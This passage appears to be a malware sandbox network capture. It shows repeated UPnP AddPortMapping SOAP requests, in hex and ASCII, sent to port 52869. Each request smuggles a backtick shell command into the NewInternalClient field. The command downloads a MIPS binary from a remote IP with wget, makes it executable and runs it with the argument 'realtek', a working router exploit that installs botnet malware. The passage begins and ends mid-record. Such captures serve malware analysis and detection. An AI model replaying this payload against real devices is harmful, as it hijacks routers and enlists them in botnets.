62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:28.347668886 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:29.595731974 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:32.251676083 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:37.371428013 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.355182886 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:07.834563017 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.793374062 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
